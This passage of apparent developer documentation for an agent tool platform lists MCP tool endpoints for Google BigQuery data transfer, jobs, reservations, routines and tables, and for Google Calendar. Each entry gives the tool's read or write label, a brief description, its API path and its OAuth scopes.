/api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-runs-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_runs_list (read) — Returns information about running and completed transfer runs. GET /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-runs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_runs_transfer_logs_list (read) — Returns log messages for the transfer run. GET /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-runs-transfer-logs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_schedule_runs (write) — Creates transfer runs for a time range [start_time, end_time]. For each date - or whatever granularity the data source supports - in the range, one transfer run is created. Note that runs are created per UTC time in the time range. DEPRECATED: use... POST /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-schedule-runs. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_locations_transfer_configs_start_manual_runs (write) — Manually initiates transfer runs. You can schedule these runs in two ways: 1. For a specific point in time using the 'requested_run_time' parameter. 2. For a period between 'start_time' (inclusive) and 'end_time' (exclusive). If scheduling a single run, it is... POST /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-start-manual-runs. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_locations_transfer_configs_transfer_resources_get (read) — Returns a transfer resource. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-transfer-resources-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_transfer_resources_list (read) — Returns information about transfer resources. GET /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-transfer-resources-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_unenroll_data_sources (write) — Unenroll data sources in a user project. This allows users to remove transfer configurations for these data sources. They will no longer appear in the ListDataSources RPC and will also no longer appear in the [BigQuery... POST /api/v1/tools/bigquery/datatransfer-projects-locations-unenroll-data-sources. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_transfer_configs_create (write) — Creates a new data transfer configuration. Requires credentials of its own for data sources that read a third party on the user's behalf (scheduled_query, google_ads, youtube_channel, drive and similar): pass service_account_name (an email, for unattended runs) or version_info (a short-lived consent code from the Data Transfer Service's own OAuth screen). Google marks both optional because a BigQuery-to-BigQuery transfer needs neither; for the sources above the create is refused without one. POST /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-create. Scopes: https://www.googleapis.com/auth/cloud-platform. bigquery_datatransfer_projects_transfer_configs_delete (write, destructive) — DESTRUCTIVE - Deletes a data transfer configuration, including any associated transfer runs and logs. POST /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_transfer_configs_get (read) — Returns information about a data transfer config. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_transfer_configs_list (read) — Returns information about all transfer configs owned by a project in the specified location. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_transfer_configs_patch (write) — Updates a data transfer configuration. All fields must be set, even if they are not updated. Requires credentials of its own for data sources that read a third party on the user's behalf (scheduled_query, google_ads, youtube_channel, drive and similar): pass service_account_name (an email, for unattended runs) or version_info (a short-lived consent code from the Data Transfer Service's own OAuth screen). Google marks both optional because a BigQuery-to-BigQuery transfer needs neither; for the sources above the create is refused without one. POST /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-patch. Scopes: https://www.googleapis.com/auth/cloud-platform. bigquery_datatransfer_projects_transfer_configs_runs_delete (write, destructive) — DESTRUCTIVE - Deletes the specified transfer run. POST /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-runs-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_transfer_configs_runs_get (read) — Returns information about the particular transfer run. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-runs-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_transfer_configs_runs_list (read) — Returns information about running and completed transfer runs. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-runs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_transfer_configs_runs_transfer_logs_list (read) — Returns log messages for the transfer run. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-runs-transfer-logs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_transfer_configs_schedule_runs (write) — Creates transfer runs for a time range [start_time, end_time]. For each date - or whatever granularity the data source supports - in the range, one transfer run is created. Note that runs are created per UTC time in the time range. DEPRECATED: use... POST /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-schedule-runs. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_transfer_configs_start_manual_runs (write) — Manually initiates transfer runs. You can schedule these runs in two ways: 1. For a specific point in time using the 'requested_run_time' parameter. 2. For a period between 'start_time' (inclusive) and 'end_time' (exclusive). If scheduling a single run, it is... POST /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-start-manual-runs. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_transfer_configs_transfer_resources_get (read) — Returns a transfer resource. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-transfer-resources-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_transfer_configs_transfer_resources_list (read) — Returns information about transfer resources. GET /api/v1/tools/bigquery/datatransfer-projects-transfer-configs-transfer-resources-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_jobs_cancel (write, destructive) — DESTRUCTIVE - Requests that a job be cancelled. This call will return immediately, and the client will need to poll for the job status to see if the cancel completed successfully. Cancelled jobs may still incur costs. # IAM Permissions Requires the `bigquery.jobs.update`... POST /api/v1/tools/bigquery/jobs-cancel. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_jobs_delete (write, destructive) — DESTRUCTIVE - Requests the deletion of the metadata of a job. This call returns when the job's metadata is deleted. # IAM Permissions Requires the `bigquery.jobs.delete` permission on the job resource. POST /api/v1/tools/bigquery/jobs-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_jobs_get (read) — Returns information about a specific job. Job information is available for a six month period after creation. Requires that you're the person who ran the job, or have the Is Owner project role. # IAM Permissions Requires the `bigquery.jobs.get` permission on... GET /api/v1/tools/bigquery/jobs-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_jobs_get_query_results (read) — RPC to get the results of a query job. # IAM Permissions Requires the following IAM permission(s) to use this method: - `bigquery.jobs.get` on the job. - `bigquery.tables.getData` on the destination table. If the user matches the creator of the job, the... GET /api/v1/tools/bigquery/jobs-get-query-results. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_jobs_insert (write) — Starts a new asynchronous job. This API has two different kinds of endpoint URIs, as this method supports a variety of use cases. * The *Metadata* URI is used for most interactions, as it accepts the job configuration directly. * The *Upload* URI is ONLY for... POST /api/v1/tools/bigquery/jobs-insert. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_jobs_list (read) — Lists all jobs that you started in the specified project. Job information is available for a six month period after creation. The job list is sorted in reverse chronological order, by job creation time. Requires the Can View project role, or the Is Owner... GET /api/v1/tools/bigquery/jobs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_jobs_query (write) — Runs a BigQuery SQL query synchronously and returns query results if the query completes within a specified timeout. # IAM Permissions Requires the `bigquery.jobs.create` permission on the project resource. Data-level permissions are highly dependent on the... POST /api/v1/tools/bigquery/jobs-query. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_models_delete (write, destructive) — DESTRUCTIVE - Deletes the model specified by modelId from the dataset. # IAM Permissions Requires the `bigquery.models.delete` permission on the model. POST /api/v1/tools/bigquery/models-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_models_get (read) — Gets the specified model resource by model ID. # IAM Permissions Requires the `bigquery.models.getMetadata` permission on the model. GET /api/v1/tools/bigquery/models-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_models_list (read) — Lists all models in the specified dataset. Requires the READER dataset role. After retrieving the list of models, you can get information about a particular model by calling the models.get method. # IAM Permissions Requires the `bigquery.models.list`... GET /api/v1/tools/bigquery/models-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_models_patch (write) — Patch specific fields in the specified model. # IAM Permissions Requires the `bigquery.models.updateMetadata` permission on the model. POST /api/v1/tools/bigquery/models-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_projects_get_service_account (read) — RPC to get the service account for a project used for interactions with Google Cloud KMS. Requires the `bigquery.jobs.create` permission on the project resource. This permission is required to authorize the retrieval of the project's service identity for... GET /api/v1/tools/bigquery/projects-get-service-account. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_projects_list (read) — RPC to list projects to which the user has been granted any project role. Users of this method are encouraged to consider the [Resource Manager](https://cloud.google.com/resource-manager/docs/) API, which provides the underlying data for this method and has... GET /api/v1/tools/bigquery/projects-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_reservation_projects_locations_capacity_commitments_create (write) — Creates a new capacity commitment resource. POST /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_capacity_commitments_delete (write, destructive) — DESTRUCTIVE - Deletes a capacity commitment. Attempting to delete capacity commitment before its commitment_end_time will fail with the error code `google.rpc.Code.FAILED_PRECONDITION`. POST /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_capacity_commitments_get (read) — Returns information about the capacity commitment. GET /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_capacity_commitments_list (read) — Lists all the capacity commitments for the admin project. GET /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_capacity_commitments_merge (write) — Merges capacity commitments of the same plan into a single commitment. The resulting capacity commitment has the greater commitment_end_time out of the to-be-merged capacity commitments. Attempting to merge capacity commitments of different plan will fail... POST /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-merge. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_capacity_commitments_patch (write) — Updates an existing capacity commitment. Only `plan` and `renewal_plan` fields can be updated. Plan can only be changed to a plan of a longer commitment period. Attempting to change to a plan with shorter commitment period will fail with the error code... POST /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_capacity_commitments_split (write) — Splits capacity commitment to two commitments of the same plan and `commitment_end_time`. A common use case is to enable downgrading commitments. For example, in order to downgrade from 10000 slots to 8000, you might split a 10000 capacity commitment into... POST /api/v1/tools/bigquery/reservation-projects-locations-capacity-commitments-split. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_get_bi_reservation (read) — Retrieves a BI reservation. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/reservation-projects-locations-get-bi-reservation. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservation_groups_create (write) — Creates a new reservation group. POST /v1/{+parent}/reservationGroups on Google BigQuery. Requires parent. POST /api/v1/tools/bigquery/reservation-projects-locations-reservation-groups-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservation_groups_delete (write, destructive) — DESTRUCTIVE - Deletes a reservation. Returns `google.rpc.Code.FAILED_PRECONDITION` when reservation has assignments. POST /api/v1/tools/bigquery/reservation-projects-locations-reservation-groups-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservation_groups_get (read) — Returns information about the reservation group. GET /api/v1/tools/bigquery/reservation-projects-locations-reservation-groups-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservation_groups_list (read) — Lists all the reservation groups for the project in the specified location. GET /api/v1/tools/bigquery/reservation-projects-locations-reservation-groups-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservation_groups_patch (write) — Updates an existing reservation group resource. POST /api/v1/tools/bigquery/reservation-projects-locations-reservation-groups-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_create (write) — Creates an assignment object which allows the given project to submit jobs of a certain type using slots from the specified reservation. Currently a resource (project, folder, organization) can only have one assignment per each (job_type, location)... POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_delete (write, destructive) — DESTRUCTIVE - Deletes a assignment. No expansion will happen. Example: * Organization `organizationA` contains two projects, `project1` and `project2`. * Reservation `res1` exists and was created previously. * CreateAssignment was used previously to define the following... POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_get_iam_policy (read) — Gets the access control policy for a resource. May return: * A`NOT_FOUND` error if the resource doesn't exist or you don't have the permission to view it. * An empty policy if the resource exists but doesn't have a set policy. Supported resources are: -... GET /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_list (read) — Lists assignments. Only explicitly created assignments will be returned. Example: * Organization `organizationA` contains two projects, `project1` and `project2`. * Reservation `res1` exists and was created previously. * CreateAssignment was used previously... GET /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_move (write) — Moves an assignment under a new reservation. This differs from removing an existing assignment and recreating a new one by providing a transactional change that ensures an assignee always has an associated reservation. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-move. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_patch (write) — Updates an existing assignment. Only the `priority` field can be updated. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_set_iam_policy (write) — Sets an access control policy for a resource. Replaces any existing policy. Supported resources are: - Reservations To call this method, you must have the following Google IAM permissions: - `bigqueryreservation.reservations.setIamPolicy` to set policies on... POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_assignments_test_iam_permissions (write) — Gets your permissions on a resource. Returns an empty set of permissions if the resource doesn't exist. Supported resources are: - Reservations No Google IAM permissions are required to call this method. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-assignments-test-iam-permissions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_create (write) — Creates a new reservation resource. POST /v1/{+parent}/reservations on Google BigQuery. Requires parent. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_delete (write, destructive) — DESTRUCTIVE - Deletes a reservation. Returns `google.rpc.Code.FAILED_PRECONDITION` when reservation has assignments. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_failover_reservation (write) — Fail over a reservation to the secondary location. The operation should be done in the current secondary location, which will be promoted to the new primary location for the reservation. Attempting to failover a reservation in the current primary location... POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-failover-reservation. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_get (read) — Returns information about the reservation. GET /api/v1/tools/bigquery/reservation-projects-locations-reservations-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_get_iam_policy (read) — Gets the access control policy for a resource. May return: * A`NOT_FOUND` error if the resource doesn't exist or you don't have the permission to view it. * An empty policy if the resource exists but doesn't have a set policy. Supported resources are: -... GET /api/v1/tools/bigquery/reservation-projects-locations-reservations-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_list (read) — Lists all the reservations for the project in the specified location. GET /api/v1/tools/bigquery/reservation-projects-locations-reservations-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_patch (write) — Updates an existing reservation resource. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_set_iam_policy (write) — Sets an access control policy for a resource. Replaces any existing policy. Supported resources are: - Reservations To call this method, you must have the following Google IAM permissions: - `bigqueryreservation.reservations.setIamPolicy` to set policies on... POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_reservations_test_iam_permissions (write) — Gets your permissions on a resource. Returns an empty set of permissions if the resource doesn't exist. Supported resources are: - Reservations No Google IAM permissions are required to call this method. POST /api/v1/tools/bigquery/reservation-projects-locations-reservations-test-iam-permissions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_search_all_assignments (read) — Looks up assignments for a specified resource for a particular region. If the request is about a project: 1. Assignments created on the project will be returned if they exist. 2. Otherwise assignments created on the closest ancestor will be returned. 3... GET /api/v1/tools/bigquery/reservation-projects-locations-search-all-assignments. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_search_assignments (read) — Deprecated: Looks up assignments for a specified resource for a particular region. If the request is about a project: 1. Assignments created on the project will be returned if they exist. 2. Otherwise assignments created on the closest ancestor will be... GET /api/v1/tools/bigquery/reservation-projects-locations-search-assignments. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_reservation_projects_locations_update_bi_reservation (write) — Updates a BI reservation. Only fields specified in the `field_mask` are updated. A singleton BI reservation always exists with default size 0. In order to reserve BI capacity it needs to be updated to an amount greater than 0. In order to release BI capacity... POST /api/v1/tools/bigquery/reservation-projects-locations-update-bi-reservation. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_routines_delete (write, destructive) — DESTRUCTIVE - Deletes the routine specified by routineId from the dataset. # IAM Permissions Requires the `bigquery.routines.delete` permission on the routine. POST /api/v1/tools/bigquery/routines-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_routines_get (read) — Gets the specified routine resource by routine ID. # IAM Permissions Requires the `bigquery.routines.get` permission on the routine. GET /api/v1/tools/bigquery/routines-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_routines_get_iam_policy (write) — Gets the access control policy for a resource. Returns an empty policy if the resource exists and does not have a policy set. POST /api/v1/tools/bigquery/routines-get-iam-policy. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_routines_insert (write) — Creates a new routine in the dataset. # IAM Permissions Requires the `bigquery.routines.create` permission on the dataset. POST /api/v1/tools/bigquery/routines-insert. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_routines_list (read) — Lists all routines in the specified dataset. Requires the READER dataset role. # IAM Permissions Requires the `bigquery.routines.list` permission on the dataset. GET /api/v1/tools/bigquery/routines-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_routines_set_iam_policy (write) — Sets the access control policy on the specified resource. Replaces any existing policy. Can return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors. POST /api/v1/tools/bigquery/routines-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_routines_test_iam_permissions (write) — Returns permissions that a caller has on the specified resource. If the resource does not exist, this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is designed to be used for building permission-aware UIs and... POST /api/v1/tools/bigquery/routines-test-iam-permissions. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_routines_update (write) — Updates information in an existing routine. The update method replaces the entire Routine resource. # IAM Permissions Requires the `bigquery.routines.update` permission on the routine. POST /api/v1/tools/bigquery/routines-update. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_row_access_policies_batch_delete (write, destructive) — DESTRUCTIVE - Deletes provided row access policies. # IAM Permissions Requires the following IAM permission(s) on the table: - `bigquery.rowAccessPolicies.delete` - `bigquery.rowAccessPolicies.setIamPolicy` POST /api/v1/tools/bigquery/row-access-policies-batch-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_row_access_policies_delete (write, destructive) — DESTRUCTIVE - Deletes a row access policy. # IAM Permissions Requires the following IAM permission(s) on the table: - `bigquery.rowAccessPolicies.delete` - `bigquery.rowAccessPolicies.setIamPolicy` POST /api/v1/tools/bigquery/row-access-policies-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_row_access_policies_get (read) — Gets the specified row access policy by policy ID. # IAM Permissions Requires the `bigquery.rowAccessPolicies.get` permission on the table. GET /api/v1/tools/bigquery/row-access-policies-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_row_access_policies_get_iam_policy (write) — Gets the access control policy for a resource. Returns an empty policy if the resource exists and does not have a policy set. POST /api/v1/tools/bigquery/row-access-policies-get-iam-policy. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_row_access_policies_insert (write) — Creates a row access policy. # IAM Permissions Requires the following IAM permission(s) on the table: - `bigquery.rowAccessPolicies.create` - `bigquery.rowAccessPolicies.setIamPolicy` - `bigquery.tables.getData` POST /api/v1/tools/bigquery/row-access-policies-insert. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_row_access_policies_list (read) — Lists all row access policies on the specified table. # IAM Permissions Requires the `bigquery.rowAccessPolicies.list` permission on the table. GET /api/v1/tools/bigquery/row-access-policies-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_row_access_policies_test_iam_permissions (write) — Returns permissions that a caller has on the specified resource. If the resource does not exist, this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is designed to be used for building permission-aware UIs and... POST /api/v1/tools/bigquery/row-access-policies-test-iam-permissions. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_row_access_policies_update (write) — Updates a row access policy. # IAM Permissions Requires the following IAM permission(s) on the table: - `bigquery.rowAccessPolicies.update` - `bigquery.rowAccessPolicies.setIamPolicy` - `bigquery.tables.getData` POST /api/v1/tools/bigquery/row-access-policies-update. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_tabledata_insert_all (write) — Streams data into BigQuery one record at a time without needing to run a load job. # IAM Permissions Requires the following IAM permission(s) to use this method: - `bigquery.tables.updateData` on the table. - `bigquery.tables.get` on the table. -... POST /api/v1/tools/bigquery/tabledata-insert-all. Scopes: https://www.googleapis.com/auth/bigquery.insertdata. bigquery_tabledata_list (read) — List the content of a table in rows. # IAM Permissions Requires the `bigquery.tables.getData` permission on the table. GET /api/v1/tools/bigquery/tabledata-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_tables_delete (write, destructive) — DESTRUCTIVE - Deletes the table specified by tableId from the dataset. If the table contains data, all the data will be deleted. # IAM Permissions Requires the `bigquery.tables.delete` permission on the table. POST /api/v1/tools/bigquery/tables-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_tables_get (read) — Gets the specified table resource by table ID. This method does not return the data in the table, it only returns the table resource, which describes the structure of this table. # IAM Permissions Requires the `bigquery.tables.get` permission on the table. GET /api/v1/tools/bigquery/tables-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_tables_get_iam_policy (write) — Gets the access control policy for a resource. Returns an empty policy if the resource exists and does not have a policy set. POST /api/v1/tools/bigquery/tables-get-iam-policy. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_tables_insert (write) — Creates a new, empty table in the dataset. # IAM Permissions Requires the `bigquery.tables.create` permission on the dataset. POST /api/v1/tools/bigquery/tables-insert. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_tables_list (read) — Lists all tables in the specified dataset. Requires the READER dataset role. # IAM Permissions Requires the `bigquery.tables.list` permission on the dataset. GET /api/v1/tools/bigquery/tables-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_tables_patch (write) — Updates information in an existing table. The update method replaces the entire table resource, whereas the patch method only replaces fields that are provided in the submitted table resource. This method supports RFC5789 patch semantics. # IAM Permissions... POST /api/v1/tools/bigquery/tables-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_tables_set_iam_policy (write) — Sets the access control policy on the specified resource. Replaces any existing policy. Can return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors. POST /api/v1/tools/bigquery/tables-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_tables_test_iam_permissions (write) — Returns permissions that a caller has on the specified resource. If the resource does not exist, this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is designed to be used for building permission-aware UIs and... POST /api/v1/tools/bigquery/tables-test-iam-permissions. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_tables_update (write) — Updates information in an existing table. The update method replaces the entire Table resource, whereas the patch method only replaces fields that are provided in the submitted Table resource. # IAM Permissions Requires the `bigquery.tables.update` permission... POST /api/v1/tools/bigquery/tables-update. Scopes: https://www.googleapis.com/auth/bigquery. ================================================================================ ## Google Calendar URL: https://www.agenticfabriq.com/docs/tools-calendar Section: Integrated Tools Google Calendar — 10 MCP tools Provider key: calendar. Scopes: https://www.googleapis.com/auth/calendar, https://www.googleapis.com/auth/calendar.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_calendar_create_calendar (write, destructive) — Create a new calendar. Returns the new calendar's ID. POST /api/v1/tools/google/calendar/calendars. Scopes: https://www.googleapis.com/auth/calendar. google_calendar_create_event (write, destructive) — Create a new calendar event. Returns the created event ID and details. POST /api/v1/tools/google/calendar/events. Scopes: https://www.googleapis.com/auth/calendar. google_calendar_delete_calendar (write, destructive) — Delete a calendar. WARNING: This deletes the calendar and all its events permanently. Cannot delete 'primary' calendar. IMPORTANT: You must first call google_calendar_list_calendars to get the calendar_id. DELETE /api/v1/tools/google/calendar/calendars/{calendar_id}. Scopes: https://www.googleapis.com/auth/calendar. google_calendar_delete_event (write, destructive) — Delete a calendar event. WARNING: This cannot be undone. IMPORTANT: You must first call google_calendar_list_events to get the event_id. DELETE /api/v1/tools/google/calendar/events/{event_id}. Scopes: https://www.googleapis.com/auth/calendar. google_calendar_get_calendar (read) — Get details about a specific calendar. IMPORTANT: Use 'primary' for the user's main calendar, or call google_calendar_list_calendars to get other calendar IDs. GET /api/v1/tools/google/calendar/calendars/{calendar_id}. Scopes: https://www.googleapis.com/auth/calendar.readonly. google_calendar_get_event (read) — Get full details about a specific calendar event, including title, start/end times, location, attendees (email and response status), organizer, creator, conferencing/Meet links, recurrence, attachments, and reminders. IMPORTANT: You must first call google_calendar_list_events to get the event_id. GET /api/v1/tools/google/calendar/events/{event_id}. Scopes: https://www.googleapis.com/auth/calendar.readonly. google_calendar_list_calendars (read) — List all calendars accessible to the user. Returns calendar IDs, names, and access roles. GET /api/v1/tools/google/calendar/calendars. Scopes: https://www.googleapis.com/auth/calendar.readonly. google_calendar_list_events (read) — List calendar events from Google Calendar. Returns events with title, start/end times, location, attendees (with email and response status), organizer, conferencing/Meet links, and recurrence. GET /api/v1/tools/google/calendar/events. Scopes: https://www.googleapis.com/auth/calendar.readonly. google_calendar_quick_add (write, destructive) — Quickly create an event using natural language. Example: 'Meeting with John tomorrow at 3pm for 1 hour'. POST /api/v1/tools/google/calendar/quick-add. Scopes: https://www.googleapis.com/auth/calendar. google_calendar_update_event (write, destructive) — Update an existing calendar event. IMPORTANT: You must first call google_calendar_list_events to get the event_id. PATCH /api/v1/tools/google/calendar/events/{event_id}. Scopes: https://www.googleapis.com/auth/calendar. ================================================================================ ## Google Chat URL: https://www.agenticfabriq.com/docs/tools-chat Section: Integrated Tools Google Chat — 13 MCP tools Provider key: chat. Scopes: https://www.googleapis.com/auth/chat.delete, https://www.googleapis.com/auth/chat.memberships, https://www.googleapis.com/auth/chat.memberships.readonly, https://www.googleapis.com/auth/chat.messages, https://www.googleapis.com/auth/chat.messages.create, https://www.googleapis.com/auth/chat.messages.readonly, https://www.googleapis.com/auth/chat.spaces, https://www.googleapis.com/auth/chat.spaces.create, https://www.googleapis.com/auth/chat.spaces.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST 